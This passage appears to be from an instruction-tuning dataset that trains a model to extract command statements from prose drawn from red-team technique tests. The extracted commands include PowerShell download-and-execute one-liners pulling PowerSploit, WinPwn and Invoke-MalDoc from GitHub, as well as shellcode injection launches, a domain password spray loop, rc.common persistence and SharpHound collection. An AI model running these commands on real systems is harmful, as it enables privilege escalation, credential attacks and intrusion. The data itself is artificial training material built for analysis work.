$_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The CHM file can be executed via the ITS protocol handler with this command: Invoke-ATHCompiledHelp -InfoTechStorageHandler #{infotech_storage_handler} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}; To simulate a user double-clicking a CHM file, run the following command: Invoke-ATHCompiledHelp -SimulateUserDoubleClick -CHMFilePath #{chm_file_path}",
    "output": "{\"command_list\": [\"Invoke-ATHCompiledHelp -InfoTechStorageHandler #{infotech_storage_handler} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}\", \"Invoke-ATHCompiledHelp -SimulateUserDoubleClick -CHMFilePath #{chm_file_path}\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This technique, employed by various malwares to hijack browser functionality, can be demonstrated by executing the following commands:\n\n# Chromium\n$chromium =  \"https://commondatastorage.googleapis.com/chromium-browser-snapshots/Win_x64/1153778/chrome-win.zip\"\n\n# uBlock Origin Lite to test side-loading\n$extension = \"https://github.com/uBlockOrigin/uBOL-home/releases/download/uBOLite_2024.11.25.1376/uBOLite_2024.11.25.1376.chromium.mv3.zip\"\n\nSet-Location \"#{working_dir}\"\n\nSet-Variable ProgressPreference SilentlyContinue\nInvoke-WebRequest -URI $chromium -OutFile \"#{working_dir}\\chrome.zip\"\nInvoke-WebRequest -URI $extension -OutFile \"#{working_dir}\\extension.zip\"\n\n\nExpand-Archive chrome.zip -DestinationPath \"#{working_dir}\" -Force\nExpand-Archive extension.zip -Force\n\nStart-Process .\\chrome-win\\chrome.exe --load-extension=\"#{working_dir}\\extension\\\" -PassThru; The rc.common file can be modified to show a dialog message with this command: sudo echo osascript -e 'tell app \"Finder\" to display dialog \"Hello World\"' >> /etc/rc.common",
    "output": "{\"command_list\": [\"\\n# Chromium\\n$chromium =  \\\"https://commondatastorage.googleapis.com/chromium-browser-snapshots/Win_x64/1153778/chrome-win.zip\\\"\\n\\n# uBlock Origin Lite to test side-loading\\n$extension = \\\"https://github.com/uBlockOrigin/uBOL-home/releases/download/uBOLite_2024.11.25.1376/uBOLite_2024.11.25.1376.chromium.mv3.zip\\\"\\n\\nSet-Location \\\"#{working_dir}\\\"\\n\\nSet-Variable ProgressPreference SilentlyContinue\\nInvoke-WebRequest -URI $chromium -OutFile \\\"#{working_dir}\\\\chrome.zip\\\"\\nInvoke-WebRequest -URI $extension -OutFile \\\"#{working_dir}\\\\extension.zip\\\"\\n\\n\\nExpand-Archive chrome.zip -DestinationPath \\\"#{working_dir}\\\" -Force\\nExpand-Archive extension.zip -Force\\n\\nStart-Process .\\\\chrome-win\\\\chrome.exe --load-extension=\\\"#{working_dir}\\\\extension\\\\\\\" -PassThru\", \"sudo echo osascript -e 'tell app \\\"Finder\\\" to display dialog \\\"Hello World\\\"' >> /etc/rc.common\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The test involves creating a local section view and injecting shellcode into a target process with these commands: $notepad = Start-Process notepad -passthru\nStart-Process \"$PathToAtomicsFolder\\T1055\\bin\\x64\\InjectView.exe\"; This technique leverages RtlCreateProcessReflection to fork the parent process and execute shellcode, which can be initiated with the command: Start-Process \"$PathToAtomicsFolder\\T1055\\bin\\x64\\redVanity.exe\" #{pid}",
    "output": "{\"command_list\": [\"$notepad = Start-Process notepad -passthru\\nStart-Process \\\"$PathToAtomicsFolder\\\\T1055\\\\bin\\\\x64\\\\InjectView.exe\\\"\\n\", \"Start-Process \\\"$PathToAtomicsFolder\\\\T1055\\\\bin\\\\x64\\\\redVanity.exe\\\" #{pid}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To retrieve one or all Group Policy Objects in a domain, use the following command: Get-GPO -Domain $ENV:userdnsdomain #{gpo_param} >> #{gpo_output}; This password spray test attempts to authenticate against the IPC$ share of a Domain Controller using Spring2020 as the password for each user in %temp%\\users.txt. Be careful not to exceed lockout thresholds. Successful logins appear as [*] username:password, while failures print a dot. The operation can be performed with this command: @FOR /F %n in (%temp%\\users.txt) do @echo | set/p=. & @net use %logonserver%\\IPC$ /user:\"%userdomain%\\%n\" \"#{password}\" 1>NUL 2>&1 && @echo [*] %n:#{password} && @net use /delete %logonserver%\\IPC$ > NUL",
    "output": "{\"command_list\": [\"Get-GPO -Domain $ENV:userdnsdomain #{gpo_param} >> #{gpo_output}\", \"@FOR /F %n in (%temp%\\\\users.txt) do @echo | set/p=. & @net use %logonserver%\\\\IPC$ /user:\\\"%userdomain%\\\\%n\\\" \\\"#{password}\\\" 1>NUL 2>&1 && @echo [*] %n:#{password} && @net use /delete %logonserver%\\\\IPC$ > NUL\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To enumerate organizational units within Active Directory using ADSISearcher, run this command: \n(([adsisearcher]\\'(objectcategory=organizationalunit)\\').FindAll()).Path | %{if(([ADSI]\"$_\").gPlink){Write-Host \"[+] OU Path:\"([ADSI]\"$_\").Path;$a=((([ADSI]\"$_\").gplink) -replace \"[[;]\" -split \"]\");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host \"Policy Path[$i]:\"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host \"Policy Name[$i]:\"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output \"`n\" }}\n. Successful execution will display user listings with their AD paths.; The generaldomaininfo function of WinPwn can be executed with this command to collect domain details: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\ngeneraldomaininfo -noninteractive -consoleoutput",
    "output": "{\"command_list\": [\"(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]\\\"$_\\\").gPlink){Write-Host \\\"[+] OU Path:\\\"([ADSI]\\\"$_\\\").Path;$a=((([ADSI]\\\"$_\\\").gplink) -replace \\\"[[;]\\\" -split \\\"]\\\");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host \\\"Policy Path[$i]:\\\"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host \\\"Policy Name[$i]:\\\"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output \\\"`n\\\" }}\\n\", \"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\ngeneraldomaininfo -noninteractive -consoleoutput\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The system information will be displayed in four message boxes after executing the JScript file with this command: wscript \"#{jscript}\"\n; Using a VBA macro to create and execute #{jse_path} with cscript.exe, which then triggers wscript.exe, this test employs the following command chain: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\n$macrocode = \"   Open `\"#{jse_path}`\" For Output As #1`n   Write #1, `\"WScript.Quit`\"`n   Close #1`n   Shell`$ `\"cscript.exe #{jse_path}`\"`n\"\nInvoke-MalDoc -macroCode $macrocode -officeProduct \"#{ms_product}\"\n",
    "output": "{\"command_list\": [\"wscript \\\"#{jscript}\\\"\\n\", \"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (iwr \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\\\" -UseBasicParsing)\\n$macrocode = \\\"   Open `\\\"#{jse_path}`\\\" For Output As #1`n   Write #1, `\\\"WScript.Quit`\\\"`n   Close #1`n   Shell`$ `\\\"cscript.exe #{jse_path}`\\\"`n\\\"\\nInvoke-MalDoc -macroCode $macrocode -officeProduct \\\"#{ms_product}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To run the modified reconnaissance script that prints results to the screen instead of exfiltrating them, use the following command: cscript \"#{vbscript}\"; You can display all environment variables and path details by executing this command: set",
    "output": "{\"command_list\": [\"cscript \\\"#{vbscript}\\\"\\n\", \"set\\n\"]}"
  },
  {
